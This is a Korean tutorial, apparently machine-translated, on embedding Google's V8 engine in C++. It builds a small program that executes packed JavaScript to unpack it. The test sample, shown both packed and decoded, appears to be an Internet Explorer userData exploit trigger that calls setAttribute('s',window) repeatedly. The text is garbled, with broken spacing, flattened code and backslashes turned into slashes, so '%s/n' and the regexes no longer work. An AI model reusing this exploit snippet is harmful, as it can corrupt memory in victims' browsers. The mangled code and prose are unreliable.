V8 JavaScript Engine 입문 안내 3 - 간단 한 V8 응용 프로그램
......
// Create a string containing the JavaScript source code.
Handle<String> source = String::New("'Hello' + ', World!'");
// Compile the source code.
Handle<Script> script = Script::Compile(source);
// Run the script to get the result.
Handle<Value> result = script->Run();
// Convert the result to an ASCII string and print it.
String::AsciiValue ascii(result);
printf("%s/n", *ascii);
return 0;
설명 은 매우 명확 하 게 설명 되 어 있 습 니 다. String:: New 를 사용 하여 소스 코드 를 생 성 합 니 다. Script: Compile 컴 파일 소스 코드, script - > Run () 을 사용 하여 스 크 립 트 를 실행 하면 결 과 를 얻 을 수 있 고 스 크 립 트 실행 결 과 를 ASCII 문자열 로 변환 할 수 있 습 니 다.그리고 String:: New 는 ASCII 문자열 을 매개 변수 로 받 아들 입 니 다.
그래서 우 리 는 현재 V8 의 기본 개념 에 대해 잘 모 르 지만 이 hello World 프로그램 을 조금 만 개조 하면 간단 한 자바 스 크 립 트 복호화 프로그램 을 실현 할 수 있 습 니 다!
간단 한 자바 스 크 립 트 복호화 프로그램 기능: 암호 화 된 자바 스 크 립 트 코드 를 input. txt 파일 에 복사 하여 복호화 결 과 를 output. txt 파일 에 생 성 합 니 다.
키 코드:
/ * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * / / * 함수 명: V8Decryt / * 공 자 바스 크 립 트 코드 의 실행 결 과 를 얻 을 수 있 습 니 다. 자 바스 크 립 트 / * 반환 값 을 복호화 할 수 있 습 니 다. 결과 문자열 의 문자 수 / * 주 의: 반환 문자열 pResult 의 메모 리 는 호출 자가 청소 / * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * / unsigned int V8Decryt (const char * pExpression, / / JavaScript 코드 를 포함 하 는 문자열 char* &pResult //출력 매개 변수, 자 바스 크 립 트 코드 실행 결 과 를 포함 하 는 문자열 되 돌려 주기 ) { // Create a stack-allocated handle scope. v8::HandleScope handle_scope; // Create a new context. v8::Persistent context = v8::Context::New(); // Enter the created context for compiling and // running the hello world script. v8::Context::Scope context_scope(context); // Create a string containing the JavaScript source code. v8::Handle source = v8::String::New(pExpression); // Compile the source code. v8::Handle script = v8::Script::Compile(source); // Run the script to get the result. v8::Handle result = script->Run(); // Dispose the persistent context. context.Dispose(); // Convert the result to a two-byte string . v8::String::AsciiValue ascii(result); // TODO: Add extra codes here unsigned int size = ascii.length(); if(size != 0) { pResult = (char*)malloc(size+1); memset(pResult,0,size+1); memcpy_s(pResult,size,*ascii,size); } return size; }
테스트 예:
eval 암호 화 보기eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'//w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('//b'+e(c)+'//b','g'),k[c])}}return p}('9 a(){8();7 0=4.5(/'6/');0.b(/'#c#i/');4.f(0);d{0.2(/'3/',1);0.2(/'3/',1);0.2(/'3/',1);0.2(/'3/',1);0.2(/'3/',1);0.2(/'3/',1);0.2(/'3/',1);0.2(/'3/',1);0.2(/'3/',1);0.2(/'3/',1)}h(e){}1.g+=/'/'}',19,19,'a7|window|setAttribute|s|document|createElement|body|var|ac2|function|a1|addBehavior|default|try||appendChild|status|catch|userData'.split('|'),0,{}))
eval 을 제거 하고 input. txt 에 복사 합 니 다.function a1(){ac2();var a7=document.createElement('body');a7.addBehavior('#default#userData');document.appendChild(a7);try{a7.setAttribute('s',window);a7.setAttribute('s',window);a7.setAttribute('s',window);a7.setAttribute('s',window);a7.setAttribute('s',window);a7.setAttribute('s',window);a7.setAttribute('s',window);a7.setAttribute('s',window);a7.setAttribute('s',window);a7.setAttribute('s',window)}catch(e){}window.status+=''}
복호화 성공!
전체 코드 를 첨부 합 니 다 (vs 2010 의. cpp 만 있 으 면 자신의 vs 버 전 으로 쉽게 전환 할 수 있 습 니 다)
http://download.csdn.net/source/2718386
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
기초 정리 - 1문자 (String) 숫자 (Number) 불린 (Boolean) null undefined 심볼 (Symbol) 큰정수 (BigInt) 따옴표로 묶어 있어야 함 Not-A-Number - 숫자 데이터 / 숫자로 표...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.